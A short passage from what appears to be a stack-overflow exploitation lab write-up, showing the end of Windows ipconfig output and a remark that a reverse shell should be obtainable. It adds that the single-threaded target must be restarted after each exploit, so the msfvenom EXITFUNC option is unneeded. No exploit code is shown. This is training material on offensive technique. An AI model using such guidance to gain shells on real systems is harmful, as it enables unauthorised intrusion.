   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.169.254

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Installers\stack_overflow\extra_mile>

We should be able to get a reserve shell, it’s worth noting that you will have to restart the application every time you exploit it to get a reverse shell because the application is not multi-threaded, so there’s no need to use the msfvenom EXITFUNC flag.